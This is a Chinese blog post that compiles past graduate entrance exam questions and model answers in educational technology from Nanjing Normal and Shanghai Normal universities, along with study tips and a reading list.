- 作者： ymlhc2004 2006年07月1日, 星期六 13:43　回复（0） |　引用（0）加入博采

教育技术系电化教育课2001--2003考研试题

教育技术系电化教育课2001--2003考研试题

南京师大教育技术系电化教育课2001--2003考研试题（有答案）
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发表：2004-12-24 10:46:35 出处：你的博客网(yourblog.org)
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2001电化教育学试题

一、填空题

1、按物理性能，教学媒体可以分为以下几类：

　　电声类、光学类、电视类、计算机类（按感官可分为：听觉、视觉、视听型、相互作用型）

2、微型(微格)教学系统的功能有：分组训练、交互学习、示范教学、讲评教学

3、选择教学媒体的依据是：教学任务、教学内容、学生的需要和水平、一定的教学条件

4、教学设计的基本环节(要素)有：

分析教学任务、确定教学目标；确定学生的准备状态；组织教学资源、形成教学方案；实施学习评价

5、教学结构(模式或策略)设计的原则：系统化、整体化、最优化、多样化

6、学习评价的类型：诊断性评价、形成性评价、总结性评价

7、教育技术研究常用的方法是：实验法、调查法、观察法、对比法、经验总结法

8、教育技术实验课题选择的基本原则：创造性、科学性、可能性；需要性

9、从教育媒体角度划分远距离教育的模式(类型)有：函授、无线电广播、电视、计算机网络

　　（从感觉划分：阅读型、听觉型、视听型、交互型）

10、教育技术学的学科性质是：是一门科学，一项事业，一种产业，是一门以教育为对象的软科学。

电教教材编制依据传播的效果原理有：共同经验原理、抽象层次、重复作用、信息来源、最小代价原理

学习资源中心的功能：资源共享、个别化自学、促进素质教育、补充与充实课堂教学

二、问答：

1、教育技术学的基本内容是什么？

现代教育思想的理论；现代教育媒体；现代媒传教学法；教学设计

　　设计：它至少包括理论和实践的四个主要方面：教学系统设计（ISD）、信息设计、教学策略设计、学习者特征；开发：它是把设计方案转化为物理形态的过程。需要大量使用教学中的技术：印刷技术、视听技术、计算机辅助技术、整合技术等；运用：包括媒体的运用、革新与推广、实施和制度化、政策和规定；管理：包括项目管理、资源管理、发送系统管理和信息管理；评价：包括问题分析、标准参照测量、形成性评价和总结性评价。

2、什么是教学设计？

在一定的观点和方法下，依据现代教育理论和教师的经验对教学活动进行规划和安排的一种可操作的过程。用系统科学的观点和方法来指导教学设计叫教学系统设计。（然后从现代教育理论和教师经验去论述）

3、我国电化教育经历了哪几个发展阶段

20年代　萌发阶段　　1920国光影片公司无声电影、1922年金陵大学开始用幻灯、电影宣传棉花种植

30－40年代　起步阶段　1932年中国教育电影协会1935年江办镇江民众馆大会堂改名为"电化教学讲映场"

50－60年代初期发展阶段　高等学府使用幻灯电影、录音等、电教机构、电教课

70－80年代迅速发展阶段　卫星教育计算机教育蓬勃发展　三件建设成绩显著

90年代以后，深入发展阶段　

两项新技术（多媒体技术、网络技术）新理论（认知学习理论、教学设计原理方法）

4、正确阐述94美国教育传播与技术协会(AECT)关于教育技术的定义和我国电化教育的新定义，并分析说明电化教育与教育技术的区别。

新定义：就是在现代教育思想、理论的指导下，主要运用现代教育技术进行教育活动，以实现教育过程的最优化。(这是新定义) 新定义包含主要思想：1、要取得成功的电化教育，必须在实践中实现现代教育思想、理论与现代教育技术两者的真正融合。2、成功的电化教育必须包含四个要素1)现代教育思想、理论的指导2)正确使用现代教育媒体3)恰当运用媒体教学法4)进行教学设计。

94新定义：教育技术学：是为了促进学习，对学习过程和学习资源进行设计、开发、运用、管理和评价的理论与实践。

1994年，美国教育传播与技术协会AECT出版了西尔斯与里奇合写的专著《教学技术：领域的定义和范畴》，书中提出了教育技术的最新定义。AECT定义的内涵：1、学习过程是教育技术研究和实践的对象。 2、学习资源是优化学习过程的必要条件。 3、系统方法是教育技术的核心。 4、教育技术是一门理论与实践并重的学科。

5、请设计一个标准型多媒体综合教室设备系统(画出框图)

常用电教媒体：幻灯机、

投影器、录音机、扩音机、

电视机、放像机、电子计算机

增加电教媒体：

1）数据式大屏幕投影机

（视频投影机、数据投影机、

图形投影机）

2）集成控制系统

（按键开关式、

电脑触摸屏式

3）实物视频展示台

示意图：

2002年电化教育学试题

一、填空题

1、对教育技术有较大直接影响的三种教学理论是：赞可夫的发展教学、布鲁纳的结构－发现、巴班斯基的教学最优化（三种直接影响的学习理论：行为主义、认知主义、人本主义）

2、教学结构设计的原则有：系统化、整体化、最优化、多样化。

3、教学结构设计的内容有：确定师生活动方式、安排教学步骤、选择教学媒体和教学方法

4、远距离教育媒体的种类有：印刷媒体、广播媒体、广播电视媒体、计算机媒体

5、远距离教育系统的基本要素是：传播者、课程设计、教学组织与教学设计、学习者和媒体

6、常用的抽样方法：随机抽样、有意抽样、分层抽样

7、教育技术实验课题资料收集的通常方法有：测验法、观察法、调查法

8、逻辑推理的基本方法是：归纳、演绎、类比（数学分析方法：计描述和统计推断）

9、教育技术实验课题的选择原则是：需要性原则、创造性原则、科学性原则、可能性原则　（课题类型：争鸣、发展、探索）

10、学习评价常用的类型：诊断性评价、形成性评价、总结性评价。

11、教学过程最优化的涵义：在一定条件下，用最少的时间，获得最大的教学效果。

　12、教学设计的基本环节：分析教学任务、确定教学目标、确定学生的准备状态、组织教学资源、形成教学方案、实施学习评价。

二、问答：

1、认知主义学习理论的基本观点是什么？

基本观点：1)学习是认知结构的组织与再组织，其公式是S-AT-R(A代表同化，T代表主体的认知结构)客体刺激S只有被主体同化A于认知结构T之中，才能引起对刺激的行为反应R，即学习才能发生。

2)学习过程是信息加工过程。应建立学习过程的计算机模型，用计算机程序解释和理解人的学习行为3)学习是凭智力与理解，绝非盲目的尝试。认识事物首先要认识它的整体。

关键词：认知结构同化学习过程计算机模型理解整体

特点：重智能的培养；重内部心理机制的研究

2、计算机网络的重要功能有哪些？

　　数据传送、资源共享、提高计算机的可靠性、易于进行分布式处理、综合信息服务。

3、教学任务分析的具体方法有哪些？

信息加工分析（主要被教材教法专家用来分析课程内容、设计最佳的教材编排程序，它是对学生学习后的终点行为即教学目标中规定的预期学习结果进行分析，旨在揭示顺利完成这种终点行为的外显和内隐的过程）

学习类型分析（针对学生学习后的终点行为进行的分析，旨在揭示顺利完成这种终点行为所需要进行的学习类型。分析学习类型后，老师就了解了学习活动的性质，以便创设必要的学习条件）

学习任务分析（分析学生预先必须进行什么内容的学习，才能最后达到终点目标。它要分析学生是否具备完成终点目标所需要的使能目标）

4、选择教学媒体的依据是哪些？　　依据教学任务、教学内容、学生的需要和水平、一定的教学条件

5、远距离教学课程设置的特点是什么？

1）以问题为中心不太注重学科体系与结构2）重学员经验背景、重实用或应用

3）设计有益于学员自学和自我检测（目标引导、概要、结构提示、自测题）

4）用多媒体形式来设计或传载有关内容5）应便于学员自定学习步调，并与自身的工作或经验产生联系

6）多用直观性、实践性和可操作性方式陈述课程知识与技能

6、教育技术实验研究的步骤有哪些？

　　确定研究课题、建立研究假设、确定实验变量、选取实验对象、选用实验方法、

　　收集与处理资料、撰写实验报告（7步）

7、香农-韦弗的传播模式有哪些要素组成？请画出其框图说明之。七要素：信源、编码、信道、译码、信宿、反馈、干扰

商侬--魏佛的传播模式原是用来解释电报通信过程，但他们不久将这一模型加入了反馈系统，引伸其含义，用来解释人类的传播过程。

这是一个分为七部分的模式，带有反馈系统，并且用

图解型去表达的模式。信源（传播者）和编码器往往

是同一人，信宿（受者）和译码器也是同一人。当传

播者将信息以语言、文学、图画、动作和表情等各种

方式，通过空气、纸张、身体、面部表情等传播媒体

（通道）传递给受者，受者收到这些信号后，必然在

生理、心理上产生反应，并运用各种方式，通过媒体，

再"反馈"传回传者一个信息。这样产生周而复始的传播过程。一个优秀的传播，将经常注意受者的反应，修正传播内容，使之更适合受者的需要、兴趣和经验等，以加强传播效果。

2003年电化教育学试题

一、填空题

1、贝罗传播模式的组成要素包括：信源和编码者、受播者和译码者、信息、通道

2、学校信息化环境建设的要求是：多媒体化、个别化学习、系统化网络化

3、选择教学媒体的具体方法：问卷选择法、流程图选择法、矩阵选择、效益/成本计算选择法。

4、微型(格)教学系统的组成部分：微型教室、控制室、观摩室、示范室

5、学习者测验分数的评价方法：相对评价、绝对评价、个人内差评价

学习评价方法有：测验法（相对评价、绝对评价、个人内差评价）、观察法、调查法、作业分析法

学习评价的类型：诊断性、形成性、总结性

6、教育技术实验研究课题的类型：争鸣性、发展性、探索性

7、教育技术学的学科性质：是一门科学、一项事业，一种产业，是以教育为对象的软科学。

8、教育技术系统方法的基本原理：反馈原理、有序原理、整体原理

二、问答：

1、教学设计有哪些基本环节？

　　分析教学任务和确定教学目标、确定学生的准备状态、组织教学资源、形成教学方案、实施教学评价

2、现代教育技术所追求的目标是什么？

　　教学的最优化，即用最少的教学时间，取得最大的教学效果，也即，最小的成本取得最大的教学效益。

3、试论教育媒体与教育技术的区别与联系

定义区别：教育媒体即是用来传递以教育为目的的信息的媒体。包括现代教育媒体和传统教育媒体

教育技术是学习过程和学习资源的开发、设计、利用、管理与评价，包括现代教育理论、现代教育媒体、媒传教学法和教学设计等内容。（对象不同、范围不同）

联系，教育媒体中的现代教育媒体是教育技术的一部分，也是重要的组成。

4、当代教育技术的发展给课程开发带来哪些影响？

　　　多媒体网络教育系统进入教育领域，为建立新型教育体制和教育方式奠定了基础，使教育的全民化、终身化、多样化、自化、国际化成为可能。

　　课程更新速度更快、学科整合更迫切、课程开发的观念改变。

5、试论述：目标是教育系统设计的出发点和归宿。

　电化教育要有明确的目的。电化教育的目的是电化教育活动的出发点和归宿，它是指导和支配着一切电化教育、教学活动。有明确的目的，才能避免盲目性和任意性，使电化教育、教学活动沿着正确的道路前进。

电化教育的目标可以分为两个层次：电化教育最终目的和电化教育、教学目标。后者是前者的具体化。电化教育、教学可以分三类：情感目标、动作技能目标、认知目标。电化教育、教学目标是实现、教学过程最优化。电化教育的最终目标，是培养全面发展的创造型人才。

　　教学目标是师生活动的重要依据，同时也是建立学习评价标准的依据。

6、试分析远距离教育的本质特征

师生分离是其本质特征。

基本特征有：师生分离；辅助性教育机构的影响作用，特别表现于计划和准备学习材料之中；以学生为中心；运用教育媒体，把现代的与传统的教育传播媒体有机地统一起来，形成多媒体教学系统；双向传播交流的必要性和可能性；定期讲座和面授，以辅导等形式实施补救性教学；是一种工业化的教育形式。

把"教师和学生在教与学的全过程中处于相对分离状态"作为远程教育的首要本质特征或要素。事实上，远程教育区别于学校面授教育的所有特征，都是由"师生远离"这一基本特征所引发、所决定的。这一特征表现为三个方面：

第一，在远程教育的教学过程中，教师的"教"与学生的"学"异地发生。教学活动不再受到空间环境的制约，距离已不再成为教学活动的障碍。对于受教育者来说，这无疑是一种解放，大大地拓宽了学生的选择余地。

第二，"教"与"学"在时间上的错位。教与学可以不同时发生，特别是在基于网络技术的现代远程教育中，学生完全可以根据自己的具体情况来安排自己的学习时间、学习内容和学习进度，有很大的灵活性和自由度。正是这两点，突破了传统学校面授教育在时空上的限制，使得远程教育具有明显的开放性特征。

7．教育闭路电视监控系统由哪几部分组成？请画出其结构框图说明之。

　闭路电视监控系统由图像的摄取、信号的传输和信号的处理、控制与显示三部分组成如下图图像摄取部分的作用是拾取监控点的视觉（和听觉）信息，主要设备有摄像机，用来拾取监控点的图像信号。

　信号处理、控制与显示部分是系统控制中心，其作用是按需要的方式显示监控点的图像（和声音），必要时记录下来，向监控点发出控制信号控件摄像机和电动云台的动作。控制中心的设备主要有一台或多台监视器，用于显示摄像机摄取图像（和声音）视频信号选切器，可以从多路输入信号中选取其中某一路输出到监视器去。

信号传输部分的作用是通过传输线向控制中心传送视频（和音频）信号，向摄像端传送控制信号和供电电源，通常用同轴电缆传送视频（音频）信号，用多芯电缆传送控制信号和供电电源。

闭路电视监控系统实时、真实、形象反映被被监控对象，是现代化管理、监测、控制的重要手段之一，应用范围广，目前主要用于考试管理、观摩教学、微格教学训练，课堂演示、手术示教、安全保卫等方面。

8、闭路电视播放系统的组成及图解

闭路电视播放系统主要由信号源、前端设备、传输网络与终端等同大部分组成。如下图

信号源主要是学校闭路电视台（演播室的摄像机、控制室的录像机与影碟机）学校卫星接收站

及当地有线广播电视台的电视节目等。又叫共用天线系统CATV

前端设备包括射频调制器、混合器、射频放大器等　　

传输网络与终端各有差异：分支器、分配器、主干线。

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99——03年上海师大教育术试题
发表：2004-12-24 10:42:01
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99年（1）
一、概念解释
1、教育技术学
2、电化教学过程
3、程序教学
4、教学媒体：教育技术组成部分，是传递教学信息的工具。（导论笔记）
二、
1、画出韦斯特莱传播模式图，指出各部分的意义，并解释教学信息的传播过程
2、简述戴尔经验之塔的理论及其意义
三、简述自己近年来在教育技术或自己所从事的专业领域中进行了哪些研究，取得了哪些理论成果
99年（2）
一、概念解释
1、教育技术学
2、课件
3、程序教学
4、微型教学
二
5.请分析为什么电化教育能提高教育质量
6.请阐述教育史上的四次革命，为什么说教育技术的发展是教育史上的又一次革命？
7、简述学习理论两大学派的名称、代表人物极其学说的名称和关于学习的主要观点
2000年试题
1、教学技术：
2、程序教学
3、个别化教学：
4、多媒体技术:
5、教育系统设计
6、课程开发
7、系统方法
二问答题
1、简述"经验之塔"理论及其意义
2、如何理解教育技术是进行教育改革，实现教育现代化的"制高点？
3、分析建构主义学习理论指导下的教学模式的特征，及其与传统教学模式的区别
4、分析个别化教学系统的基本教学形式及其优缺点大体上有三种教学模式：
5、请写出5个或更多的与教育有关的网址
2001年复习
教育技术
1、教学技术学
2、教育媒体
3、个别化教学
4、多媒体技术
5、信息高速公路
6、教学设计
二、问答题
1、请分析教育技术概念的演化的阶段
3、简述教育史上的四次革命，为什么说教育技术的发展是教育史上的又一次革命
4、分析程序教学的要素，以及程序教学设计的模式
5、语言实验室有那些种类，目前有哪些新发展，各有哪些主要功能
6、请分析集体教学中媒体选择应考虑的因素。
7、请分析计算机辅助教学在教育中的作用，目前有哪些新发展？
8、请分析应用系统方法的具体步骤，以教育软件开发为例，说明应用系统方法开发教育软件的具体步骤
须不断地评价和修正。
三、论述题
1、简述自己近年来在教育技术或自己所从事的专业领域中进行了哪些研究，取得了哪些理论成果
2、论述信息时代教育将发生哪些重大的变化。
2001年试题
1、阐述媒体技术的发展概况
2、阐述计算机媒体的优缺点及其在教学中的发展趋势。（同前）
3、论述我国教学改革中的教学模式的发展趋势以及现代教育技术在构建新型教学模式中的作用
4、分析集体教学和个别化教学的特点
5、写出你阅读过的国内外教育技术领域的期刊、报纸、网站的名称，及阅读后的主要收获和评价
6、简述自己近年来在教育技术或自己所从事的专业领域中进行了哪些研究，取得了哪些理论成果
2002年
教育技术（2002）
1、教学技术（AECT94）
2、程序教学
3、个别化教学：
4、多媒体技术:
5、教育系统设计
6、课程开发
7、系统方法
8、学习理论
二、问答题
1、阐述媒体技术的发展概况
3、述我国教学改革中的教学模式的发展趋势以及现代教育技术在构建新型教学模式中的作用
4、分析集体教学和个别化教学的特点
5、写出你阅读过的国内外教育技术领域的期刊、报纸、网站的名称，及阅读后的主要收获和评价
6、简述自己近年来在教育技术或自己所从事的专业领域中进行了哪些研究，取得了哪些理论成果
2002年试题
1、教育技术学（AECT94）
2、教育传播
3、教学过程最优化
4、教学模式
5、多媒体计算机:
6、信息高速公路
7、教育系统设计
8、课程开发
二：问答题
1、教育技术为什么能提高教学效率
2、简述皮亚杰的建构主义学习理论的主要观点（同前）
3、请阐述教育史上的四次革命，为什么说教育技术的发展是教育史上的又一次革命
4、计算机辅助教学软件的发展轨迹
5、计算机多媒体网络教室的功能及优势体作用。
6、分析建构主义学习理论指导下的教学模式的特征，及其传统教学模式的区别
7、分析个别化教学系统的基本教学形式及其优缺点
以下是转载XXX123以及其他同学的帖子：
很多考教育技术的同学对黎加厚老师方向要考的内容很迷茫，经黎老师同意，特将一些考这个方向的复习重点公布如下：
1 intel未来教育，阅读国内外优秀教案，设计教案一些理论，设计教案等
2 教育信息化发展：阅读两年来的《中国电化教育》和《电化教育研究》看一下教育信息的发展。
3 参考书《教育技术课程》华东师范出版社，黎加厚主编
4 乌美娜《教学设计》：掌握教学设计的基本概念
考卷主要测试一些基本概念，还要测试一些综合、评价、分析的能力，即以开放性的答案进行回答，依据考卷的相对水平进行评分。
以上是受黎老师委托回答一些关于考其方向的一些问题，望对大家考研有所帮助。
内容要点：
《教学设计》是教育技术学专业的核心课程之一，要求考生掌握教学设计的基本理论和技能，了解教学设计的发展历史，结合素质教育改革在实际中活用理论。要能够充分利用各种资源，特别是网络上的教学资源进行深入的研究。主要的复习要点为：
1、教学设计的产生
2、教学设计的基本概念
3、当前教学设计的新发展
4、学习需要分析
5、学习内容分析及其方法
6、学习者分析
7、学习目标分析
8、教学策略的选择
9、教学媒体的应用
10、教学设计成果评价
11、阅览国内的教育技术期刊杂志《电化教育研究》（兰州），《中国电化教育》（北京），近三年有关教学设计的论文。
二、《教学设计》模拟练习题
1、解释下列名词：
（1）教学设计：
（2）模式：
（3）奥斯古德——施拉姆模型
（4）电子作品集
（5）小学语文四结合
2、论述教学设计的发展历史。
3、用加入反馈的传播模式解释课堂教学活动。
4、设计一个信息化教案。
另外附上《教学设计》复习题要（黎加厚老师总结，教学设计考试重点）
一、内容要点：
《教学设计》是教育技术学专业的核心课程之一，要求考生掌握教学设计的基本理论和技能，
了解教学设计的发展历史，结合素质教育改革在实际中活用理论。要能够充分利用各种资源，
特别是网络上的教学资源进行深入的研究。主要的复习要点为：
1、教学设计的产生
2、教学设计的基本概念
3、当前教学设计的新发展
4、学习需要分析
5、学习内容分析及其方法
6、学习者分析
7、学习目标分析
8、教学策略的选择
9、教学媒体的应用
10、教学设计成果评价
11、阅览国内的教育技术期刊杂志《电化教育研究》（兰州），《中国电化教育》（北京），
近三年有关教学设计的论文。
二、《教学设计》模拟练习题
1、解释下列名词：
（1）教学设计：
（2）模式：
（3）奥斯古德——施拉姆模型
（4）电子作品集
（5）小学语文四结合
2、论述教学设计的发展历史。
3、用加入反馈的传播模式解释课堂教学活动。
4、设计一个信息化教案。
5、简述教学评价在教学设计中的地位，谈谈你对教学评价改革的建议。
三、参考文献：
1．乌美娜，《教学设计》，高等教育出版社，1994年版。
2．李龙，《教学过程设计》，内蒙古人民出版社，2000年版。
3．张祖忻，《教学设计的原理和方法》，上海外语教育出版社，1992年版。
4．巴巴拉.西尔斯，丽塔.里奇，乌美娜、刘雍潜等译，《教学技术：领域的定义和范畴》，
中央广播电视大学出版社，1999年版。
5．上海市教委英特尔未来教育项目专家组，《英特尔未来教育》，英特尔公司2001年版。
03年
一、概念解释：（每小题6分，计42分）
1、教育技术学（AECT94） 2、学习理论 3、教学效果最优化
4、程序教学 5、多媒体计算机 6、教学设计 7、积件
二、问答题（每小题16分，计80分）
1、试论在我国进行教育改革，实现教育现代化中，教育技术的地位和作用。
2、什么是教学模式？分析建构主义学习理论指导下的教学模式的特点及其与传统教学模式的区别。
3、试论我国教育技术发展的特点。
4、画出韦斯特莱传播模式图，说明各部分的意义，阐述教学信息的传播过程。
5、语言实验室有哪些种类？各有什么功能？目前有什么新发展？
三、根据自己的实际情况回答下述问题（28分）
简述自己近年来在教育技术或自己从事的专业领域进行了哪些科学研究，取得了哪些理论和实践的成果？

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2004年上海师大教育技术考研试题
发表：2004-12-24 10:33:39 出处：你的博客网(yourblog.org)
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上海师范大学2004年硕士研究生"教育技术学"入学考试试题及答案

一、概念解释：

1．信息化教育──

信息化教育的概念是从90年代伴随着信息高速公路的出现而提出来的。它指全面深入地运用现代化信息技术来促进教育改革和教育发展的一种全新的教育形态，它是建构主义理论与先进的技（如多媒体技术、网络技术、人工智能技术）相结合的产物。

信息化教育是教育信息化过程中所达到的一种新颖的教育形态，是教育信息化的目的及结果。

2．信息化教学设计──信息化教学设计是充分利用现代信息技术和信息资源，科学安排教学过程的各个环节和要素，为学习者提供良好的信息化学习条件，实现教学过程全优化的系统方法]。（祝智庭，2001）

所谓信息化环境下的教学设计（信息化教学设计），是运用系统方法，以学为中心，充分利用现代信息技术和信息资源，科学地安排教学过程的各个环节和要素，以实现教学过程的优化[9]。（黎加厚，2002）

3．AECT ──Association for Educational Communications and Technology 教育技术与传播协会

ADMINISTRATIVE HISTORY

In 1923, the National Education Association established the Department of Visual Instruction (DVI), for the purpose of promoting "more effective communication in the classroom, through the use of a wider range of learning resources." H.B. Wilson served as DVI's first president. In 1923, DVI merged with the Visual Instruction Association of America (VIAA) and the National Academy of Visual Instruction (NAVI) to become the one dominant professional voice for the A-V movement in the nation.

During World War II, DVI worked toward the development and production of instructional audio-visual materials for military training. Shortly after the war, in 1945, the NEA established its Division of Audio-Visual Instructional Service, to "promote the establishment of new programs of audio-visual instruction and the expansion and development of existing programs on all levels of education throughout the nation."

In 1947, DVI underwent a name change, becoming the Department of Audio-Visual Instruction (DAVI). NEA provided DAVI with an executive secretary and full-time paid staff, giving the agency even more prestige and national exposure.

At DAVI's Atlantic City Convention in 1951, Dr. E. Winifred Crawford proposed the establishment of an Archives and History Committee and an Archives Library. The Archives was started to preserve valuable documents that record the beginnings and the development of the use of A-V materials in education, and to make such materials available for study. DAVI president Francis Noel appointed Dr. Crawford the first chair of the Archives Committee. In 1954, William F. Kruse replaced Crawford as DAVI archivist, and the DAVI Archives was established at the University of Iowa.

In 1971, DAVI changed its name to the Association for Educational Communications and Technology (AECT), and separated from NEA. The new name for this independent organization reflected a growing concern with the total educational experience from a "systems" or instructional technology viewpoint. Today, AECT continues to be a leader in educational technology, promoting the use of media and technology to enhance and improve learning.

4．数字化图书馆──数字图书馆目前主要还是一项由技术驱动而非需求驱动的公共事业，

数字图书馆数字化和网络出版的建设是紧密相连的，一、数字化网络出版的电子图书是数字图书馆的馆藏核心;二、数字化网络出版的标准化是建设数字图书馆的前提。因此,出版业的数字化出版取代传统印刷纸质出版而成为主要的出版方式是数字图书馆建设走上正轨的标志。

数字图书馆的馆藏是以电子形式存在的数字化信息资源，数字图书馆的馆藏核心是电子图书,而不是印刷型书籍数字化形成的数据库，其中，电子图书，英文名称ｅｂｏｏｋ,是利用现代信息技术创造的全新出版方式,将传统的书籍出版发行方式以数字化形式通过计算机网络实现。

　　

5．rubric──评价量规(evaluation rubric)

这是评定对知识内容的理解或在特定领域专业技能的标准；它是个要求列表或其它特定的标准，用来优化和完善专业技能或相关内容领域的学习；许多提示是基于从0（最低）到4（最高）的4-点衡量标准；提示准则的制定通常有较早参加实验或学习活动的学生参与。

Rubric（提示）：这是评定对知识内容的理解或在特定领域专业技能的标准；它是个要求列表或其它特定的标准，用来优化和完善专业技能或相关内容领域的学习；许多提示是基于从0（最低）到4（最高）的4-点衡量标准；提示准则的制定通常有较早参加实验或学习活动的学生参与。

6．概念图——概念图是盛行于国外特别是欧美国家的一种教学形式。概念图又可称为概念构图（concept mapping）或概念地图（concept maps）。前者注重概念图制作的具体过程，后者注重概念图制作的最后结果。现在一般把概念构图和概念地图统称为概念图而不加于严格的区别。概念图是用来组织和表征知识的工具①。它通常将某一主题的有关概念置于圆圈或方框之中，然后用连线将相关的概念和命题连接，连线上标明两个概念之间的意义关系。

7．Blog──Blog，是Weblog的简称。Weblog，是Web 和Log的组合词。Web，指World Wide Web；Log，原义是"航海日志"，后指任何类型的流水记录。Weblog 是在网络上的一种流水记录形式，所以也称为"网络日志"。

8．电化教育──(Audio-Visual Education)---运用现代教育媒体，并与传统教育媒体恰当结合，传递教育信息，以实现教育最优化就是电化教育。电化教育姓"教"不姓"电"，电教以人为本，它的主要对象是人，不是物。它所追求的不是教育的机械化，而是教育的最优化。(电化教育1985年南国农)

电化教育，就是在现代教育思想、理论的指导下，主要运用现代教育技术进行教育活动，以实现教育过程的电优化 (电化教育1998年)

电化教育的英文译名从Audio-Visual Education更新为e－Education的时代背景，论述了e－Education的定义：在现代信息技术环境中，研究与人类学习行为有关的各个要素及其相互关系的活动规律，以促进学习的理论与实践。

大电教是一个多样的、开放的、综合的系统，它由四个子系统构成：即普通学校电教系统、广播电视教育系统、卫星电视教育系统、计算机网络教学系统。

所谓现代教育思想、理论，主要有：四种教育观：现代教学观、现代师生观、现代人才观、学习时空观；三种学习理论：行为主义学习理论、认知主义学习理论和人本主义学习理论；三种教育理论：赞可夫的发展教学理论、布鲁纳的结构一发现教学理论、巴班斯基的教学最优化理论；三种传播理论：拉斯威尔"5W"理论、施拉姆的双向传播理论、贝罗的SMCR理论。使用三种技术是指：现代媒传技术、现代媒体技术、教学设计技术。做两件事情是：开发、利用教学资源和优化教学过程。实现一个目标就是建立适应素质教育要求的，以构建新型教学模式为核心的现代教育体系。

9．经验之塔——又称"经验锥体"是美国教育家爱德加·戴尔在《教学中的视听方法》一书中提出的一种描述人类感知经验分类层次的锥形示意图。他将人类通过各种途径获得的经验按其抽象程度的不同分成直接经验、模拟经验和高度抽象的经验三类共十一人层次每类经验都包含某些活动的特征。塔的底部为直接的、有目的的、具体的经验，塔的顶部为抽象的经验，如文字、符号等，戴尔认为，教育要从直接经验入手，并逐步过渡到抽象思维。运用模拟经验有助于传授知识，但不能完全代替亲自动手的实践。经验之塔是将学习理论与视听传播理论相融合来建立学科的基本原理的第一次尝试。

10．Portfolio Assessment——

(一)什么是档案袋评定

作为一种从实践中涌现出的评定方法，尽管档案袋评定(portfolio assessment)的出现已经有十年左右的历史了，但从教师们对档案袋评定的使用情况来看，很难给它一个确切的定义。正如对此有详细研究的美国课程评价专家比尔·约翰逊(Bill Johnson)所说，如果要求五个不同的教师给档案袋评定下定义，你很可能会收到五个不同的答案——其中每一个都没有"错"。这是由档案袋评定的性质决定的。它们通常是与特定情景或发现这种方法的学校联系在一起的。

从语义分析来看，档案袋，其英文单词portfolio，有"代表作选辑"的意思。最初使用这种形式的是画家及后来的摄影家，他们把自己有代表性的作品汇集起来，向预期的委托人展示。它所选择或提交的东西，是由出示档案袋的人自己创作的。把这种做法应用到教育上，档案袋评定也是汇集学生作品的样本，但它们的目的和内容，是为了展示学生的学习和进步状况。

(http://gxsx.zbedu.com/jiaoshi/kechengbiaozhun/lilun/pingjia/zhixingkecheng_(3).htm)

Portfolio Assessment就是一种被普遍采用的评价方式。Portfolio Assessment概念引入我国后，人们使用了各自理解的翻译，如"档案夹评价"、"文件柜评价"、"影集评价"等。我将其称为"作品集评价"。

大家知道，课件是在一定的学习理论指导下，根据教学目标设计的，反映某种教学策略和教学内容的计算机软件。积件是由教师和学生根据教学需自己组合运用多媒体教学信息资源的教学软件系统。课件和积件是为辅助教师的教学活动而设计、应用并以教师为中心来对其进行评价。电子作品集却不是为辅助教师的教学活动而设计开发，它是为了表达教师、学生在学习中的问题解决的过程或结果、创新思想或某个想法而设计和制作，因而电子作品集是以学为中心的教学活动的产物，是创新教育思想在学校课堂教学中的体现，它具有个性化、学生主体性、不可预测性、反映学生的学习历程、自激励与他激励性、兼有学习成果评价与资源建设两重性等特点。

包件的概念最早出现在80年代电教教材中，当时把与某一课程有关的幻灯片、投影片、录音带、计算机课件、文字教材、使用说明书等装在一个包中，这样的资料包被称为"包件"（packed ware）。最近我们所提出的"包件"概念来自"英特尔未来教育"教师培训项目，该项目要求被培训教师通过6天左右时间的培训，学会设计一套单元教学计划，包括：单元教学计划、学生作品评价量规、教师支持材料、学生作品范例等，构成一个可以带回学校进行课堂教学的产品"包件"。原地来我们所说的课件、积件、学生电子作品等都可以包括在其中，而教师培训的重点已经从课件设计开发转移到信息化环境下的教学设计。

(http://www.doule.net/20031029/1060359.shtml)

(电子学档：信息化教学的新思路

http://www.etc.edu.cn/articledigest18/dianzi-xuedang.htm)

Assessment（评估）：对进展情况／教学效果的衡量；它提供评估工具用来判断怎样更好地教或学；评估工具包括学生测试、技能测试、预考和期末测试、面试和整个监控程序。]

Portfolio（职责）：学生示范所需学习技能的工作集合；是一系列学生成果，用以作为教师在各个知识领域内促进学习的依据；

卷宗（档案袋）评价（portfolio assessment）：它可捕捉学生一学年的情况，能鼓励学生自由探索熟悉问题的新的解决方案，鉴别出每个学生的智力强项和弱项，揭示出学生成长的轨迹和进步的方式。这种评价克服了传统评?quot;快照式"测验带来的弊端。(http://www.hdsdkcs.com/dongtai/xueshuluntan04.htm)

二、填空题：

1．我国教育技术学领域的2份核心期刊是《电化教育研究》，杂志的主编是：(南国农 )；和《中国电化教育》，杂志的主编是：(王珠珠 )。

2．中国最早使用"电化教育"名词是（1936 ）年，在（南京金陵大学）。

电化教育是20世纪30年代在我国出现的，1935年，江苏镇江民众教育馆将该馆的大会堂定名为"电化教育讲映场"，这是我国最早使用"电化教学"这个名词。1936年，我国教育界人士在讨论为当时推行的电影、播映教育定名的问题时，提出并确立了"电化教育"这个名词。同年，在南京金陵大学举办的"电化教育人员训练班"，第一次正式使用了这个名词，以后"电化教育"这个名词便被逐渐使用开来，并一直沿用到现在。

3．布卢姆提出的教育目标分类学，将认知领域的教学目标从底级到高级分为：（识记）、（理解）、（运用）、（分析）、（综合）、（评价）六个层次。

4．信息化教学设计的8个步骤：（单元教学目标分析）、（教学任务与问题设计）、（信息资源查找与设计）、（教学过程设计）、（学生作品范例设计）、（评价量表设计）、（单元实施方案设计）、（评价修改）。

三、简述题：

1、教育技术在中国发展的主要经验是什么？

2、简述斯金纳的程序教学理论。

http://rcs.wuchang-edu.com/RESOURCE/GZ/GZYW/YWBL/20SJDJYJS/4962_SR.htm

3、中小学生的信息素养包含哪些重要内容？

根据国外关于信息素养的研究成果并结合我国的教育实际，我们以为中小学生的信息素养应包括四个方面的内容：信息情感意识、信息科学知识、信息处理能力及信息伦理道德。这几部分内容是互相联系、相互依存并构成一个统一的整体。其中信息观念是先导，信息知识是基础，信息能力是核心，信息伦理道德是信息素养健康发展的保证。从信息素养的内容结构上看，它不应该仅被视为对基本的传统教育的一种补充，而是在新世纪数字信息社会对教育观及教育活动的重新定义、设计和构建。

http://dept.fsjy.net/et/teacher_artic/word/word184.htm

4、简述如何尊重网络上的知识产权，如何在教学中合理使用他人的资料。

5、举例说明教学评价量规的设计。

6、简述信息化教学设计的基本原则。

四、设计题

1、自选一个教学内容，设计一个WebQuest教案。

（1）介绍

（2）任务

（3）资源

（4）过程

（5）学习建议

（6）评价

